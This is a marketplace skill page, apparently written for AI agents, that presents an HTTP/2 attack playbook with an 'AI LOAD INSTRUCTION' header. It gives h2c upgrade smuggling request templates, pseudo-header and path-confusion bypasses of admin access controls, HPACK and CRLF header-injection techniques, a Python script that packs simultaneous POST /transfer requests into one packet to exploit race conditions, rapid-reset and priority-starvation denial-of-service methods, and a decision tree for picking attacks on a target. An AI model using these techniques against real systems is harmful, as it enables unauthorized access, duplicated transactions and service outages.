HTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
HTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.
SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface.
0. RELATED ROUTING
request-smuggling — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants
h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 Upgrade mechanism. Many reverse proxies forward the Upgrade: h2c header without understanding it, allowing attackers to bypass proxy-level access controls.
Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
│
Backend speaks H2
Proxy is blind to
the H2 conversation
2.2 Attack Flow
1. Client sends HTTP/1.1 request with:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64 H2 settings>
Connection: Upgrade, HTTP2-Settings
2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules
HTTP/2 replaces the request line with pseudo-headers (prefixed with :):
Pseudo-Header
HTTP/1.1 Equivalent
Example
:method
Request method
GET, POST
:path
Request URI
/api/users
:authority
Host header
target.com
:scheme
Protocol
https
3.2 Path Discrepancy Between Proxy and Backend
Scenario: Proxy routes based on :path, backend uses different parsing
H2 request:
:method: GET
:path: /public/../admin/users
:authority: target.com
Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content
3.3 Duplicate Pseudo-Header Injection
HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies:
:method: GET
:path: /public
:path: /admin ← duplicate, forbidden by spec
:authority: target.com
Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for serving
3.4 Authority vs Host Disagreement
:authority: public.target.com ← proxy routes based on this
host: admin.internal.target.com ← backend may prefer Host header
Result: proxy routes to public vhost, backend serves admin vhost
3.5 Scheme Manipulation
:scheme: https
:path: /api/internal
:authority: target.com
If backend trusts :scheme to determine if request is "internal":
:scheme: https → "external" → restricted
:scheme: http → "internal" → unrestricted access
4. HPACK COMPRESSION ATTACKS
4.1 CRIME/BREACH on HTTP/2
Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.
Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.
4.2 Header Table Poisoning
HPACK dynamic table stores recent headers across requests on same connection.
1. Attacker sends X-Custom: malicious-value → added to dynamic table
2. Subsequent requests may reference this entry
3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage
5. STREAM MULTIPLEXING ABUSE
5.1 Single-Packet Attack (Race Conditions)
HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, achieving true simultaneous server-side processing:
Traditional race condition: send N requests → network jitter → inconsistent timing
H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously
┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
├─ Stream 5: POST /transfer (amount=1000)
└─ Stream 7: POST /transfer (amount=1000)
All 4 requests processed at the same nanosecond window
# Using h2 library — prepare all requests, send in single writeimport h2.connection, h2.config, socket, ssl
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
for i inrange(20):
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
conn.send_data(sid, b'amount=1000', end_stream=True)
sock.sendall(conn.data_to_send()) # ALL frames in single TCP packet
Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
Server processes each open/close but client doesn't wait for responses
Amplification: minimal client resources → massive server CPU exhaustion
5.3 PRIORITY Manipulation
Set exclusive=true + weight=256 on attacker's stream → starve other users' requests
6. HTTP/2 → HTTP/1.1 DOWNGRADE ISSUES
6.1 Header Injection via Binary Format
H2 header values are binary — \r\n is valid data within a value. When proxy downgrades to H1, \r\n in header value becomes actual line break → header injection.
H2: X-Custom: "value\r\nInjected: evil" → binary, valid
H1: X-Custom: value → line break
Injected: evil → new header!
6.2 Transfer-Encoding Smuggling
H2 spec forbids transfer-encoding, but some proxies pass it through during downgrade → backend processes chunked encoding → H2.TE smuggling. See ../request-smuggling/H2_SMUGGLING_VARIANTS.md.
6.3 Content-Length Discrepancy
H2 uses frame length (no CL needed). If proxy generates CL during downgrade but attacker also sent a CL header → conflicting lengths → request smuggling.
6.4 Header Name Case
H2 requires lowercase. Sending Transfer-Encoding (uppercase) is invalid H2 but some proxies pass it → valid H1 header on backend.
7. SERVER PUSH CACHE POISONING
Attack: trigger server push for /static/app.js with attacker-controlled content
→ PUSH_PROMISE frame pushes malicious response
→ browser/CDN caches poisoned content under legitimate URL
→ all subsequent loads serve attacker's content
Mitigation: most modern browsers/CDNs restrict or disable server push
8. DECISION TREE
Target supports HTTP/2?
│
├── YES
│ ├── Does proxy support h2c upgrade?
│ │ ├── YES → h2c smuggling (Section 2)
│ │ │ └── Access restricted paths bypassing proxy rules
│ │ └── NO → Continue
│ │
│ ├── H2→H1 downgrade between proxy and backend?
│ │ ├── YES → Header injection via binary format (Section 6.1)
│ │ │ ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
│ │ │ ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
│ │ │ └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
│ │ └── NO (end-to-end H2) → Continue
│ │
│ ├── Need race condition?
│ │ ├── YES → Single-packet attack via multiplexing (Section 5.1)
│ │ │ └── Pack N requests in one TCP segment
│ │ └── NO → Continue
│ │
│ ├── Pseudo-header manipulation viable?
│ │ ├── :path discrepancy → path confusion (Section 3.2)
│ │ ├── :authority vs Host → vhost confusion (Section 3.4)
│ │ └── :scheme manipulation → access control bypass (Section 3.5)
│ │
│ ├── Server push enabled?
│ │ ├── YES → Cache poisoning via push (Section 7)
│ │ └── NO → Continue
│ │
│ └── DoS objective?
│ ├── RST_STREAM rapid reset (Section 5.2)
│ └── PRIORITY starvation (Section 5.3)
│
└── NO (HTTP/1.1 only)
└── See ../request-smuggling/SKILL.md for H1-specific techniques
